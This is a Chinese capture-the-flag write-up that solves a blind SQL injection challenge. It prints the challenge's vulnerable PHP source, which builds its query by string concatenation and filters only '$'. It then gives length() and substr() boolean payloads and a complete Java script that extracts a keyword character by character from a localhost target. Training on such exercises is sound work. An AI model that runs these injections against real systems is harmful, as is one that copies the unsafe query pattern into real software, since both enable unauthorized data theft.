以前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程当中的坑php
题目源码:html
<?php header("Content-Type: text/html;charset=utf-8"); session_start(); require_once 'sql.php'; if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){ echo "您还未登陆,3秒后跳转到登陆处!"; header("Refresh:3;url=index.php"); exit(); } function inject_check($sql_str) { return preg_match('|\$|', $sql_str); } if ($_COOKIE["PHPSESSID"] == $_SESSION["session"]){ if (inject_check($_GET['id'])){ header("HTTP/1.1 400 Bad Request"); exit('GET 400 Bad Request:/'.$_SERVER['QUERY_STRING']); }else{ $id=$_GET['id']; } mysql_select_db("test",$conn) or exit("DB Select Failure</br>"); $sql="select * from id where id = $id";//注入点 $res=mysql_query($sql,$conn) or exit("DB Query Failure</br>"); $num = mysql_num_rows($res); echo "Return ".$num." rows"; }else{ header("location:index.php"); } ?>
从源码中来读能够发现,SQL语句是直接拼接的,其中只用了正则匹配了$符号java
(但由于比赛的时候没有源码,致使我脚本一直没跑对)mysql
发现访问页面后,会返回查询SQL的返回条数sql
直接返回Return 1 rows,当咱们在后面输入 and 1=2的时候服务器
返回就变成0条了cookie
能够初步判断存在注入,题目又给出了表名和要跑的列名session
利用MySQL的length函数判断keyword的长度app
select * from id where id = 1 and length((select keyword from id))=13
判断出keyword的长度为13,进一步利用substr函数一字符一字符的获取,并与字典比较函数
当相等时,页面就会返回Return 1 rows
大概盲注思路出来后,便用java编写脚本
程序中,放入两个嵌套循环,一个控制咱们substr获取的偏移数,另外一个循环控制咱们要对比的字符
阅读题目源码的时候发现,页面会对session和cookie中的username参数作验证,若是不存在,则会跳转到登陆页面
因此访问的时候还得带上cookie
脚本源码以下:
package test; import java.io.BufferedReader; import java.io.FileReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; public class sql { public static void main(String[] args) throws IOException { // TODO Auto-generated method stub BufferedReader in = null; String cookie = "username=admin;PHPSESSID=72nd4r1p9g4o6fqp5hhrri0sh5"; URL url = null; String str = null; for (int i=1;i<14;i++) { String cs=String.valueOf(i); in = new BufferedReader(new FileReader("C:\\Users\\Administrator\\Desktop\\superdic.txt")); while((str = in.readLine()) != null) { String urlPath = "http://localhost/flag.php?id=1%20and%20substr((select%20keyword%20from%20id),"+cs+",1)='"+str+"'";; try { url = new URL(urlPath); } catch (MalformedURLException e) { System.out.println("error:"+cs); } URLConnection conn = url.openConnection(); conn.setRequestProperty("Cookie", cookie); conn.setDoInput(true); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); StringBuilder sb = new StringBuilder(); String line = null; line = br.readLine(); sb.append(line); if("Return 1 rows".equals(sb.toString())) { System.out.println(cs+str); break; } } } in.close(); } }
其中C:\\Users\\Administrator\\Desktop\\superdic.txt中存放的就是咱们要对比的字符字典
运行脚本后发现
程序返回400了
咱们刚才注入length函数返回的结果明明是13,怎么这只跑出来三个字符就结束了(实际上是过滤了)
咱们把字典中的$去掉,接着跑
能够看到,跑是跑出来了,能够缺了第4个和第10个字符
因此只能获得Key?s+P4y?0ad的字符串其中两个字符未知
既然注入不出来,那我就到提交flag的地方爆破
将咱们刚才注入的结果写入
而后抓包
抓包模式必定要选择Cluster bomb
而后配置好后,开始爆破
爆破发现,无论怎么查看结果都是错误的,Length都是同样长
后面检讨本身是否是什么步骤错了
反复查看本身的脚本,发现个人脚本去请求服务器的时候会进行一次URL解密
而+号解密的结果正好是空格.....
因此只须要在刚才爆破的时候把%2B改为+就能够了
最后获得flag: